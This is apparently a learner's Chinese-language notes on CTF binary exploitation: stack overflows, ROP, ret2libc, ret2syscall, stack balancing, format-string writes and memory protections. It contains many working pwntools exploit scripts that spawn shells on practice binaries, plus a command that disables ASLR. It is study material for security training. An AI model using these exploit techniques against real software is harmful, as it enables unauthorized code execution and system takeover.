时隔五年半，我又捡起来了，现在学起来比较顺畅。

我经常犯一个毛病，把学习笔记搞得像备课，例图，例句事无巨细，但大多是在抄老师或书上的内容。没什么必要，所以这里只记录我的迷惑，还有基本原理、exp之类。不会像前两篇一样抄PPT。

前面的复习中，思考了一些问题，现在补一下回答。

Q：为什么脚本不用recvline那一行，直接写sendline也可以？

A：程序一直在运行，它并不会因为你没“接”它的输出，就不读你的输入。输入输出是两个独立的管道，注意一般题目会关闭缓冲区。

1. 缓冲区与异步性 (Buffering)

当你运行一个程序时，stdout（程序输出）和 stdin（你的输入）是两个独立的管道：

• 程序侧：它执行 puts("No system...") 后，数据就被丢进了输出缓冲区。它不会停在那里等你去读，而是紧接着执行下一步——gets(s)。
• 脚本侧：当你调用 io.sendline(payload) 时，pwntools 会把数据写入程序的 stdin。

即使你没有先用 recvline() 把那句“No system…”取走，这句对话也只是暂时停留在操作系统的内核缓冲区里。

2. gets() 的阻塞机制

程序的执行流程是这样的：

• puts (输出信息)
• gets (进入阻塞状态，等待输入)

程序执行到 gets 时会停住，直到它的 stdin 管道里有了数据（也就是你发送的 payload）。它并不在乎你是否已经读了它之前 puts 出来的东西。

Q：为什么我可以远程连接软件后，interactive？这个函数为什么能够想什么时候打开就什么时候打开，而不是反弹shell那样有个公网接收？

A：

1. 本质区别：控制流的方向

我们可以对比一下你现在的做法（interactive()）和反弹 Shell 的区别：

interactive()：接管现有的连接

当你使用 io = remote('ip', port) 或 io = process('./pwn') 时，你和目标程序之间已经建立了一根双向管道。

• 初期：你的 Python 脚本（pwntools）握着这根管子，按照你写的代码（如 sendline）往里灌数据。
• 调用 interactive() 后：Python 脚本停止自动运行，它把你的键盘（stdin）**和**这根管子的输入接在一起，把这根管子的输出和**你的屏幕（stdout）**接在一起。
• 结论：连接一直都在，只是 Python 脚本从“自动模式”切换到了“手动透传模式”。

反弹 Shell (Reverse Shell)：创建新的连接

• 目标程序主动发起一个新的网络连接，去寻找你公网上的监听端口（如 nc -lvp 4444）。
• 如果没有这个公网接收端，目标程序的连接请求就会失败。

2. 为什么能“随时打开”？

只要连接没断，你可以在脚本的任何地方、任何时间调用 interactive()。

• 同步性：即使你已经利用溢出漏洞执行了 system('/bin/sh')，此时目标机器上确实启动了一个 Shell。这个 Shell 会继承目标程序的输入输出流（也就是那根连向你电脑的管子）。
• 等待性：那个新启动的 Shell 正乖乖地坐在管子的另一头，等着从里面读指令。如果你不调用 interactive()，它就一直等；你一调用，你键盘输入的 ls 就会顺着管子飞过去。

后记： EIP（Instruction Pointer）：永远指向当前要执行的下一条指令的地址。它指向的是代码段（.text）里的指令，跟栈（stack）完全无关！

EBP（Base Pointer / Frame Pointer）：指向当前函数栈帧的“底部”（其实是 saved EBP 的位置）。 重要纠正：EBP 本身并不存储“上一个函数的返回地址”！ EBP 存储的是上一个函数的 EBP 值（即上一个栈帧的 base pointer）。 返回地址是单独存在栈上的，位置是 [EBP + 4]（上一格）。

pop是赋值操作，把栈顶的值赋给参数那个寄存器，然后esp+4

pop 掉最后一个局部变量时，ESP 和 EBP 都指向 saved EBP。此时操作是： pop ebp：把 [ESP]（也就是 saved EBP 的值）赋值给 ebp → ebp 恢复成上一个函数的 EBP，同时 ESP += 4，现在 ESP 指向返回地址

ret ： pop eip → EIP = 返回地址，ESP += 4，此时ebp、esp就完全回到了上一个函数的调用栈，并且eip指向返回地址。开始执行eip了。这就是leave ret操作。

ret2syscall实际上是用有效数据填充栈，构造一个栈，每个gadget都是一次调用函数，栈溢出的返回地址是我第一个gadget，第一个gadget执行完，eip指向下一个指令，就是栈的第二个gadget的地址，然后循环。

gets在获取值时，开辟好空间。比如输入ABC，那么栈里，是从esp到ebp（低地址到高地址），顺序是ABC，A在栈顶位置。pop顺序也是ABC，所以gets输入的payload gadget是正序。

栈只有一个，存了值和地址，每次pop或者ret。都会移动，而ret实际上是pop eip，就会把返回地址给eip，所以与其说是ret跳到下一个gadget，不如说是esp传值给eip，把控制流拽回来。

ret2libc2#

这题没有/bin/sh了，有个system函数，有gets。但是gets读取数据到s里面，由于ASLR一定打开，所以无法确定s的地址。这题与上题区别就在于没有bin/sh，但是bss段地址是确定的。恰好bss段有一个buf2。

我自己做出来了，原理是后面才明白。这里payload是【垃圾数据 + gets@plt + system@plt + buf2 + buf2】

我一直不知道gets怎么向buf2传参，不是要写一个值到某个空间吗，那这不是算俩参数吗。但我写完这个payload居然有shell，但是只能执行一次命令。运行一次看目录，第二次cat flag就行，后来试了一下输入/bin/sh就可以一直有。

后面看老师讲解才知道，gets的参数就是空间位置。要从标准输入读取数据。在读取时会阻塞一下，等待用户输入。

我只输入ls，当然一次就没了。

这里可以自动传输bin/sh过去

exp：

 1from pwn import *
 2
 3io = process('./ret2libc2')
 4elf = ELF('./ret2libc2')
 5
 6gets = elf.plt['gets']
 7sys_addr = elf.plt['system']
 8buf2 = elf.symbols['buf2']
 9
10payload = b'K'*112 + p32(gets) + p32(sys_addr) +p32(buf2) + p32(buf2)
11
12io.sendline(payload)
13io.sendline('/bin/sh')
14io.interactive()

栈平衡的理解#

注意，父函数在调用子函数时，先压入参数，再压入返回地址。然后才是子函数的栈帧，所以子函数的参数在上两个字长的地方。

那就会出现一种情况，F1代表函数，F1x代表F1的参数。长调用链如：【垃圾字符 + F1 + F2 + F1x + F2x】。

最多只能两个带参的函数。F1向上找到自己的参数，返回地址被我改写为F2，所以调用F2，F2也找到自己的参数，但是此时F2的返回地址是F1的参数，无法继续跳转了。

所以出现了栈平衡。

这里有第二个栈平衡的解法：

 1from pwn import *
 2
 3io = process('./ret2libc2')
 4elf = ELF('./ret2libc2')
 5
 6gets = elf.plt['gets']
 7sys_addr = elf.plt['system']
 8buf2 = elf.symbols['buf2']
 9pop_ebx_ret = 0x0804843d
10
11payload = b'K'*112 + p32(gets) + p32(pop_ebx_ret) +p32(buf2) + p32(sys_addr) + p32(pop_ebx_ret) + p32(buf2)
12
13io.sendline(payload)
14io.sendline('/bin/sh')
15io.interactive()

所谓“栈平衡”，就是利用 pop; ret 这种 gadget，让 ESP 每次 ret 后都能精准落在下一个函数上。

这里以上面payload为例，梳理栈溢出流程 和栈平衡原理。

上为高地址

栈发生溢出时候，垃圾数据覆盖buffer+4字节的ebp。写gets地址到ebp上面的返回地址。程序自己的栈帧ret前有一个leave操作，就是mov esp ebp；pop ebp;这个操作让esp跟ebp都指向了ebp地址（里面存的是垃圾数据），标准叫法是 “恢复栈帧基址” 或 “清理局部变量空间”。然后pop操作是把此时esp的值给ebp，esp里的值是4字节垃圾字符，所以ebp被赋予了4字节垃圾。由于pop操作，esp+4。此时esp指向gets地址。栈帧开始ret，ret就是pop eip（此时esp + 4，到了pop_ebx_ret）。此时eip指向gets地址，gets开始运行。gets运行完开始ret，eip指向pop_ebx_ret，esp+4指向buf2。pop_ebx_ret运行时把esp指向的buf2 pop掉了，所以esp + 4指向system，pop_ebx_ret开始ret，eip指向system，esp + 4指向第二个pop_ebx_ret。这个时候已经拿到shell了。

可以看到，在需要参数的函数返回地址上插入pop e*x; ret，可以让此函数的参数被移出，esp + 4移动到下一个函数上。

ret2libc3#

这次通过输入puts的虚拟内存地址，打印它的真实地址，然后通过偏移确定system的真实地址。

没想到我直接成功打印出了puts地址。

随后通过偏移计算出system地址。现在需要一个/bin/sh，但没有这个，/bin/sh是通过绝对地址获取shell，sh是通过环境变量获取。有个fflush函数，可以截取fflush后两个字母传入。

明天写exp

这题要注意，给的libc是远程环境的，但是远程没开，只能本地打，本地程序用的是本机的，所以不要用给的libc，用本机的：/usr/lib/i386-linux-gnu/libc.so.6

这里用*until类函数，做到了io同步，并且使用cyclic生成字节，deadbeef写返回地址。其他没什么

 1from pwn import *
 2
 3io = process('./ret2libc3')
 4elf = ELF('./ret2libc3')
 5libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
 6io.sendlineafter(b' :',str(elf.got['puts']))
 7io.recvuntil(b'0x',drop = False)
 8
 9libc_base = int(io.recvuntil(b'\n',drop = True),16) - libc.symbols['puts']
10
11system = libc.symbols['system'] + libc_base
12
13payload = flat(cyclic(60) , system , 0xdeadbeef , next(elf.search(b'sh\x00')))
14
15io.sendlineafter(b' :',payload)
16
17io.interactive()

习题课

pwn0（ret2text）#

限时十分钟

1❯ checksec level0
2[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn0/level0'
3    Arch:       amd64-64-little
4    RELRO:      No RELRO
5    Stack:      No canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x400000)
8    Stripped:   No

64位调用system时要栈对齐，注意不是栈平衡，要在跳转位置加一个ret的gadget，然后再补system地址。

1from pwn import *
2
3io = process('./level0')
4io.recvline()
5payload = b'K'*136 + p64(0x400431)+p64(0x400596)
6
7io.send(payload)
8io.interactive()

pwn1（ret2shellcode）#

 1❯ checksec level1
 2[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn1/level1'
 3    Arch:       i386-32-little
 4    RELRO:      Partial RELRO
 5    Stack:      No canary found
 6    NX:         NX unknown - GNU_STACK missing
 7    PIE:        No PIE (0x8048000)
 8    Stack:      Executable
 9    RWX:        Has RWX segments
10    Stripped:   No

犯了错误，recvuntil第一个参数要字节，要加b

 1from pwn import *
 2
 3io = process('./level1')
 4elf = ELF('./level1')
 5shellcode = asm(shellcraft.sh())
 6io.recvuntil(b'0x')
 7buf = io.recvuntil(b'?',drop = True)
 8payload = shellcode.ljust(140,b'K') + p32(int(buf,16))
 9io.sendline(payload)
10io.interactive()

pwn2（ret2libc）#

这题gdb一直崩，说是程序又起了子进程导致的。弹幕说：

用set follow-fork-mode parent，就是gdb level2进入调试后，输入set follow-fork-mode parent持续调试父进程。

1❯ checksec level2
2[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn2/level2'
3    Arch:       i386-32-little
4    RELRO:      Partial RELRO
5    Stack:      No canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x8048000)
8    Stripped:   No

这里虽说是libc，但是我没怎么用plt表项。

 1from pwn import *
 2
 3io = process('./level2')
 4elf = ELF('./level2')
 5system = elf.symbols['system']
 6bin_sh = next(elf.search(b'/bin/sh'))
 7
 8payload = cyclic(0x88+0x4) + p32(system) + p32(0xdeadbeef) + p32(bin_sh)
 9io.recvuntil(b'Input:')
10io.sendline(payload)
11io.interactive()

pwn2_x64#

1❯ checksec level2_x64
2[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn2_x64/level2_x64'
3    Arch:       amd64-64-little
4    RELRO:      No RELRO
5    Stack:      No canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x400000)
8    Stripped:   No

学了64位的区别，64为前6个函数参数放到rdi rsi rdx rcx r8 r9 这六个存器，多余参数才压入栈内。所以在返回地址之后必须pop rdi; ret,紧接着写/bin/sh，后面再写system地址就行。

这里还有一个问题，elf.plt获取到的地址不能用，地址也是IDA里显示的plt表项。有弹幕说是第一次调用就没调用对，所以不对。可是第一次调用没道理错误。

这里硬编码写IDA里面，main函数汇编代码里，call system的那个地址。

 1from pwn import *
 2
 3io = process('./level2_x64')
 4io.recvline()
 5elf = ELF('./level2_x64')
 6system =0x40063E
 7bin_sh = next(elf.search(b'/bin/sh'))
 8poprdi=0x00000000004006b3
 9payload = cyclic(136) + p64(poprdi)+p64(bin_sh)+p64(system)
10io.sendline(payload)
11io.interactive()

pwn3#

1❯ checksec level3
2[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn3/level3'
3    Arch:       i386-32-little
4    RELRO:      Partial RELRO
5    Stack:      No canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x8048000)
8    Stripped:   No

这题是到现在最难的，主要是需要自己泄露地址，发送两次payload。这里犯了一个错误，我在调用write的时候用了elf.symbols，应该用elf.plt的。因为只有明确程序定义的函数比如int main，vulnerable_function才是内部函数，可以用symbols，而动态链接的题目，write、system等都是libc的，ida 显示为extern，应该用plt去拿地址。

这题还有一点是，第一个payload去拿write的真实地址，算出偏移，再用偏移计算system地址和binsh地址。但是只有这一个输入口，所以返回地址填写领再说

 1from pwn import *
 2
 3io = process('./level3')
 4elf = ELF('./level3')
 5libc = ELF('/lib/i386-linux-gnu/libc.so.6')
 6io.recv()
 7payload = cyclic(140) + p32(elf.plt['write']) + p32(elf.symbols['vulnerable_function']) + p32(1) + p32(elf.got['write']) + p32(4)
 8io.sendline(payload)
 9
10true_write = u32(io.recv(4)) # 我调试时，发现返回b'p\x82\xba\xeeInput:\n'，这个p也是地址之一。
11
12libc_base = true_write - libc.symbols['write']
13
14true_system = libc_base + libc.symbols['system']
15true_binsh = libc_base + next(libc.search(b'/bin/sh'))
16
17payload = cyclic(140) + p32(true_system) + p32(0xdeadbeef) + p32(true_binsh)
18io.sendline(payload)
19io.interactive()

smashes#

1❯ checksec smashes
2[*] '/home/pwn/Desktop/pwn_learning/Exercises/smashes/smashes'
3    Arch:       amd64-64-little
4    RELRO:      No RELRO
5    Stack:      Canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x400000)
8    FORTIFY:    Enabled

main函数没有加粗，这个main说是自己实现的。进入这个main

有canary保护，正常的栈溢出不行了，canary是在push ebp后压入一个值，如果溢出覆盖到返回地址，就会改写这个值，就触发__stack_chk_fail函数，退出程序。

我猜测，绕过这个需要先获取canary的值，然后溢出到它之前，塞入canary的值，继续溢出到返回地址。

插入这段canary的语句是：v4 = __readfsqword(0x28u);

老师后面遇到点问题，搁置

pwn3_x64#

听完老师讲的逻辑后，直接写成功了，好开心，运行前改好逻辑，还要把32位的各类函数为64位。

改p32为p64、本地libc改成x86_64的，期间运行发现u32参数不是4字节，才想起要用u64。

1❯ checksec level3_x64
2[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn3_x64/level3_x64'
3    Arch:       amd64-64-little
4    RELRO:      No RELRO
5    Stack:      No canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x400000)
8    Stripped:   No

我的exp：

 1from pwn import *
 2
 3io = process('./level3_x64')
 4elf = ELF('./level3_x64')
 5libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 6pop_rdi_ret = 0x4006b3
 7pop_rsi_r15_ret = 0x4006b1
 8io.recv()
 9payload = cyclic(0x80+0x8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0xc0cac01a) + p64(elf.plt['write']) + p64(elf.symbols['vulnerable_function'])
10io.sendline(payload)
11
12true_write = u64(io.recv(8))
13
14libc_base = true_write - libc.symbols['write']
15
16true_system = libc_base + libc.symbols['system']
17true_binsh = libc_base + next(libc.search(b'/bin/sh'))
18
19payload = cyclic(0x80+0x8) + p64(pop_rdi_ret) + p64(true_binsh) + p64(true_system)
20io.sendline(payload)
21io.interactive()

有没有发现，我把0xdeadbeef这个魔数换成了0xc0cac01a（可口可乐），哈哈

格式化字符串漏洞#

在exp.py里面加入context.log_level = "debug"可以看到exp和程序的交互debug信息。

C语言里面输出变量的值:

1printf("%x %x",a,b); /* 正常 */
2printf("%x %x"); /* 不正常 */

如果不写变量，也能输出。原因是，根据x86 32 位 cdecl 调用约定，函数向上（高地址）两个字长找参数，找到a和b，但这个时候没写，那么仍然输出向上两个字长里地址内保存的值。比如里面的数据，里面存的地址。这是printf设计的缺陷，不明白为什么不修复

%p会打印地址，%s会打印地址里的内容。所以通过格式化字符串漏洞，就是一连串%s泄露出Canary的值，栈溢出时把Canary的正确值写进去，从而绕过Canary。果然跟我上一个想的一样。

格式化字符串的另一种写法：

1printf("%3$d",a,b,c) /* %d是取十进制数出来，中间加3$是只取第三个参数的数 */

调试了一会，会发现%p%p%p%p这个参数本身是放在寄存器上的，也就是栈上某个位置。那么我们也就可以写入任意值到栈上。

那么，我将格式化字符串写成地址，此地址被当做格式化字符放在栈上，printf去取地址，如果取到了这个值就可以输出对应内容。

%p打印地址，%s打印内容。%数字$表示打印第几个数字内容。%n打印前面打印成功的数据

这节课有点乱

这节课太乱了

我自己问了AI，包括查了一些资料，%n：把当前已经打印出来的字符总数，写入到栈上参数所指向的地址中。首先看一段代码：

1int count;
2printf("123%n", &count);

printf打印完123三个字符，也会在栈上存一下这三个字符，此时内部计数器为3，遇到了%n，开始向栈上参数所指向的地址里写3。此时它会去栈上找紧跟在格式化字符串后面的那个参数。就是count。倘若没有&count，也就是说printf没有第二个参数，它直接去栈上本该放第二个参数的位置硬写。所以%n既能看字符长度，又能写数据。结合之前的%[order]用法，就可以向后面第几个参数写数据，比如%5n。

注意，这个order是printf函数的参数序号，从1开始。比如printf("%3$d",a,b,c),%3$d是第一个参数，c是第4个。

fmtstr1#

1❯ checksec fmtstr1
2[*] '/home/pwn/Desktop/pwn_learning/Exercises/fmtstr1/fmtstr1'
3    Arch:       i386-32-little
4    RELRO:      Partial RELRO
5    Stack:      Canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x8048000)
8    Stripped:   No

伪代码：

 1int __cdecl main(int argc, const char **argv, const char **envp)
 2{
 3  char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
 4  unsigned int v5; // [esp+7Ch] [ebp-Ch]
 5
 6  v5 = __readgsdword(0x14u);
 7  be_nice_to_people();
 8  memset(buf, 0, sizeof(buf));
 9  read(0, buf, 0x50u);
10  printf(buf);
11  printf("%d!\n", x);
12  if ( x == 4 )
13  {
14    puts("running sh...");
15    system("/bin/sh");
16  }
17  return 0;
18}

输入AAAA，栈：

 1pwndbg> stack 34
 200:0000│ esp         0xffffd60c —▸ 0x80485b2 (main+101) ◂— mov edx, dword ptr [0x804a02c]
 301:0004│-088         0xffffd610 —▸ 0xffffd63c ◂— 'AAAA\n'
 402:0008│-084         0xffffd614 —▸ 0xffffd63c ◂— 'AAAA\n'
 503:000c│-080         0xffffd618 ◂— 0x50 /* 'P' */
 604:0010│-07c         0xffffd61c —▸ 0xf7ffd000 ◂— 0x36f2c
 705:0014│-078         0xffffd620 —▸ 0xf7fc4570 (__kernel_vsyscall) ◂— push ecx
 806:0018│-074         0xffffd624 ◂— 0xffffffff
 907:001c│-070         0xffffd628 —▸ 0x8048034 ◂— push es
1008:0020│-06c         0xffffd62c —▸ 0xffffd754 —▸ 0xffffd923 ◂— '/home/pwn/Desktop/pwn_learning/Exercises/fmtstr1/fmtstr1'
1109:0024│-068         0xffffd630 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
120a:0028│-064         0xffffd634 ◂— 0x20 /* ' ' */
130b:002c│-060         0xffffd638 ◂— 5
140c:0030│ eax ebx ecx 0xffffd63c ◂— 'AAAA\n'
150d:0034│-058         0xffffd640 ◂— 0xa /* '\n' */
160e:0038│-054         0xffffd644 ◂— 0
17... ↓                17 skipped
1820:0080│ edi         0xffffd68c ◂— 0x97499e00
1921:0084│-008         0xffffd690 —▸ 0xf7fa3000 ◂— 0x229dac

可以看到0xffffd610就是格式化字符串的地址，实际内容存在了0xffffd63c。

这里不要在gdb里面数偏移，不知道为什么，数的不对。我这里输入

1AAAA%1$x-%2$x-%3$x-%4$x-%5$x-%6$x-%7$x-%8$x-%9$x-%10$x-%11$x-%12$x-%13$x

打印出第一个参数到第13个参数的十六进制数据，如果遇到AAAA的16进制41414141那么就能知道AAAA存在第几个数据。

测试如下：

1❯ ./fmtstr1
2AAAA%1$x-%2$x-%3$x-%4$x-%5$x-%6$x-%7$x-%8$x-%9$x-%10$x-%11$x-%12$x-%13$x
3AAAAff950c8c-50-f6879000-f6840570-ffffffff-8048034-ff950da4-f6879608-20-49-41414141-78243125-2432252d
43!

可以看到输入的数据是第11个参数。

x是全局变量，地址是0x0804A02C。我们需要改写x的值，那么就要用到%n。构造数据是0x0804A02C%11$n，此时前面地址被当作字符串存入栈中，%11$n则向第11个参数保存的地址指向的值写数据，刚好就是0x0804A02C指向的值。

exp：

1from pwn import *
2io = process('./fmtstr1')
3payload = p32(0x0804A02C) + b'%11$n'
4io.sendline(payload)
5io.interactive()

fmtstr2#

有点翻车，而且讲得太笼统了，硬圆回来。

直接输入%9$n

这次对上一篇补充一些内容以及着重于理解

内存保护措施#

• canary

  canary是金丝雀的意思。在函数返回值之前添加的一串随机数（不超过机器字长），末位为/x00（提供了覆盖最后一字节输出泄露canary的可能），如果出现缓冲区溢出攻击，覆盖内容覆盖到canary处，就会改变原本该处的数值，当程序执行到此处时，会检查canary值是否跟开始的值一样，如果不一样，程序会崩溃，从而达到保护返回地址的目的。一种很强硬的保护措施，就是在中间强插一块数据，前后对比

• NX

  NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址，然后加入shellcode，NX策略是使栈区域的代码无法执行。更强硬，直接不给你执行权限，即使溢出也无法执行攻击代码

• PIE

  PIE（ASLR），内存地址随机化机制（address space layout randomization)，有以下三种情况 0 - 表示关闭进程地址空间随机化。 1 - 表示将mmap的基址，stack和vdso页面随机化。 2 - 表示在1的基础上增加栈（heap）的随机化。 该保护能使每次运行的程序的地址都不同，防止根据固定地址来写exp执行攻击。 打乱程序在内存内的地址

  liunx下关闭PIE的命令如下： sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

• RELRO

  Relocation Read-Only (RELRO) 可以使程序某些部分成为只读的。它分为两种，Partial RELRO 和 Full RELRO，即 部分RELRO 和 完全RELRO。

  部分RELRO 是 GCC 的默认设置，几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。

  完全RELRO 使整个 GOT 只读，从而无法被覆盖，但这样会大大增加程序的启动时间，因为程序在启动之前需要解析所有的符号。

ret2syscall#

什么是系统调用？#

• 操作系统提供给用户的编程接口
• 是提供访问操作系统所管理的底层硬件的接口
• 本质上是一些内核函数代码，以规范的方式驱动硬件
• x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用

讲人话我感觉就是，我们写程序system("/bin/sh")，这是系统里自带的。可是系统读取到此代码时，内部是如何调用system的？系统内部有一套代码对应这些函数，系统运行代码时就叫系统调用。而rop就是当程序内没有普通栈溢出条件时，我们利用一些碎片组成那一套系统内的代码，运行后就相当于执行了那个函数。

举个例子，你驾驶播种机去播种，播种机原理是将土翻开，向里面撒种子再将土埋上；但是，现在你没有播种机了，你用手把土翻开，撒种子，再埋土。这就叫系统调用，直接走它内部的流程。

比如我要执行execve("/bin/sh",NULL,NULL)，程序内并没有现成的代码供我们溢出跳转，所以我们执行此行代码的系统调用即可，已知此行代码对应系统调用为：

1mov eax, 0xb
2mov ebx, ["/bin/sh"] 
3mov ecx, 0
4mov edx, 0
5int 0x80

ROP跳转机制#

这里还需要了解rop的跳转机制

左边是程序原本的栈，普通栈溢出只需要将return address部分覆盖为需要的函数地址，但是没有现成函数时，我们需要进行系统调用。按照上面的代码，首先跳到进行给eax赋值的代码，先给eax赋以0xb，再跳转到给ebx赋值的地方，给ebx赋以/bin/sh，再跳转到ecx，给ecx赋以0，再跳转到edx，给edx赋以0，再跳转到int 0x80的位置，完成系统调用。

再解释一下相应汇编指令，pop用于给寄存器赋值，赋值用的参数是在下一个字长，pop将下一个字长里的数据弹出到寄存器，ret是将下下个字长的数据弹出到eip，eip是用于存储下一条命令用的寄存器，所以下一个命令就运行下下个字长那里。

此时再看上图中间的栈帧结构就清晰很多了，首先溢出溢出溢出，将return address覆写为pop_eax_ret的地址，这句将下一个字长里的0xb弹出到eax里，然后ret指令将下下个字长里的pop_ebx_ret地址弹出到eip里，这句结束。到了下一句pop_ebx_ret，原理同上所述。随后程序运行到最后一句int 0x80那里结束，此段系统调用等于执行了execve("/bin/sh",NULL,NULL)

ROPgadget命令用于寻找代码片段，--binary指令用于指定在哪个程序里寻找，--only "pop|ret"是只寻找含有pop和ret指令同时存在的片段，grep eax是在前面的结果中搜索含有eax的片段

例题#

ret2syscall

即使PIE和canary关了，由于开了NX，所以无法执行栈上的代码，而已缺少现成函数，我们也无法直接溢出跳转，到这就可以想到ret2syscall了

exp：

1from pwn import *
2io=process('./ret2syscall')
3pop_eax_ret=0x080bb196
4pop_edx_ecx_ebx=0x0806eb90
5int_0x80=0x08049421
6bin_sh=0x080BE408
7payload=flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx,0,0,bin_sh,int_0x80])
8io.sendline(payload)
9io.interactive()

这个exp写出来我自己也挺意外的，地址不用打包？

动态链接过程#

上个例题大小七百多k，IDA打开时函数区一大堆函数，因为它是静态编译的，将此程序需要用到的各种库全部打包在一个程序里，这些个库自身里就有着非常多的函数。为什么我们能找到那么多的碎片？就是因为有着这些包含大量代码的库存在。

静态编译的程序很大，运行起来与动态的一模一样。动态编译的程序所用的库是动态链接库，这些库在操作系统里就有，程序运行时直接引用就行了，所以程序自身文件很小。那么很容易想到，倘若系统里缺少相应的动态链接库，则此程序无法运行。由于动态编译的程序特性，IDA打开时函数区只包含与当前程序直接相关的函数，所以ROPgedget找到的碎片也很少。

动/静链接引用点#

动态链接相关结构#

• .dynamic section

  提供动态链接相关信息

• link_map

  保存进程载入的动态链接库的链表

• __dl_runtime_resolve

  装载器中用于解析动态链接库中函数的实际地址的函数

动态链接调用函数流程#

调用libc中的foo函数

首次调用foo函数

跳转到.plt表中的foo表项，.plt中代码跳转到.got.plt中记录的地址

由于进程是第一次调用 foo，故 .got.plt 中记录的地址是 foo@plt+6

回到 .plt 是为了解析 foo 的实际地址

跳转到 .plt 头部为 __dl_runtime_resolve 函数传参

__dl_runtime_resolve 函数解析 foo 的真正地址并填入 .got.plt 中

此后 .got.plt 中保存的是 foo 的真实地址

进程第二次调用 foo

直接自 .got.plt 跳转到 foo 的真实地址，没有了第一次的解析地址过程

流程图如下

简而言之，就是第一次去调用函数，先到plt中找表项然后跳转到got（.got.plt）里找真实地址，got里没有就返回到plt，让他自己去解析真实地址，解析完写到got里。第二次调用时，去plt里找表项然后跳转到got表里就可以直接获取真实地址。取地址从plt里取就行了，反正第几次调用都还是要返回真实地址的。

info b查看断点信息

d 1，删除编号为1 的断点。

distance 地址 地址，计算地址间距

backtrace ，查看函数调用栈

return，从函数中出来

ret2libc1#

ret2syscall是调用系统的汇编指令完成系统调用构造链子，而ret2libc是调用libc里的函数，将这些函数连成链子。

简单rop链#

如图rop链在栈内表示图

图中函数是从libc里取出的，如system，exit。system参数是"/bin/sh"，返回地址是exit，exit参数是0，返回地址是"/bin/sh"，所以这段链子执行如下代码

1system("/bin/sh")
2exit(0)

参数位置#

为什么参数在函数上第二个字长？第一个却是返回地址？

因为父函数在调用子函数的时候，使用call调用，父函数本来就保存子函数的参数，调用时又会将子函数的返回地址也压入栈，所以通常认为，返回地址（包含返回地址）以上是属于父函数的。

如图虚线以上认为是父函数，往下是子函数

那子函数是如何找到自己的参数的呢？在上篇说过被调用函数局部变量压入栈，如下图

Local address即被调函数局部变量，上面是调用函数的栈底，这几步又是如何完成的？

拿上面的代码为例，最开始的栈溢出，溢出到返回地址，在这个示例代码里溢出到system，这个返回操作到system即ret system。此时system被弹到eip寄存器，随后进入system代码。被调函数，第一行往往是push ebp，也就是把ebp压入栈，随后将本地变量压入栈。可是变量是保存在父函数的，根据调用约定，本地变量会向上去寻找参数，也就是父函数里的/bin/sh。调用完，system结束跳到返回地址exit，此时exit同理，往上第二个字长里的数据为参数。

栈平衡#

实际上，倘若有多个函数连续调用，往上两个字长就不是参数了，可能是函数，如

1exit
2gets
3puts
4system

这种是怎么调用呢？若真这样调用，程序会出错，所以需要栈平衡，在每次调用函数后都会有一条pop ret指令，函数被调用后，往上两个找参数，结束了，跳到返回地址也就是pop ret，这条指令会把刚才用的参数pop掉也就是扔掉，然后ret到下一条函数。一直下去，这样的话连续调用多少条函数都没事，这就是栈平衡的链子，通常两个函数就够了，所以大多数都是简化的，下图是完整版

一般连续俩函数，用的都是简化的，满足往上两个字长能找到参数就行的那种。

例题#

ret2libc1

这道题是最简单的ret2libc题，它预先准备了secure函数，这个函数没有实际意义，但是这个函数调用了system函数，这也就意味着可以直接从plt表里获取system函数的真实地址。而且这题的\bin\sh也给了，IDA可以直接看，也可以用pwntools里相应方法获取。

exp：

1from pwn import *
2io=process("./ret2libc1")
3elf=ELF("./ret2libc1")
4system_plt=elf.plt["system"]
5binsh_addr=next(elf.search(b"/bin/sh"))
6payload=flat([b'A'*112,system_plt,"AAAA",binsh_addr])
7io.sendline(payload)
8io.interactive()

exp有个地方实操时一直无法获取plt的system，警告说是unicorn模块有问题，我安装了也不成，好像是安装方法有问题，后来更新了pwntools，它自动补全了好多包，然后exp就通了。

PWN?#

概述#

• 破解、利用成功（程序的二进制漏洞）
• 攻破（设备、服务器）
• 控制（设备、服务器）

一次简单的hack#

• exploit 用于攻击的脚本与方案
• payload 攻击载荷，是对目标进程劫持控制流的数据
• shellcode 调用攻击目标shell的代码

二进制基础#

程序的编译与链接#

从C源代码到可执行文件的生成过程#

• 编译
  • 由C语言代码生成汇编代码
• 汇编
  • 由汇编代码生成机器码
• 链接
  • 将多个机器码的目标文件链接成一个可执行文件

Linux下的可执行文件格式ELF#

什么是可执行文件？#

• 广义：文件中的数据是可执行代码的文件
  • .out、.exe、.sh、.py
• 狭义：文件中的数据是机器码的文件
  • .out、.exe、.dll、.so

可执行文件的分类#

• Windows：PE（Portable Executable）
  • 可执行程序
    • .exe
  • 动态链接库
    • .dll
  • 静态链接库
    • .lib
• Linux：ELF（Executable and Linkable Format）
  • 可执行程序
    • .out
  • 动态链接库
    • .so
  • 静态链接库
    • .a

ELF文件解析#

• ELF文件头表（ELF header）
  • 记录了ELF文件的组织结构
• 程序头表/段表（Program header table）
  • 告诉系统如何创建进程
  • 生成进程的可执行文件必须拥有此结构
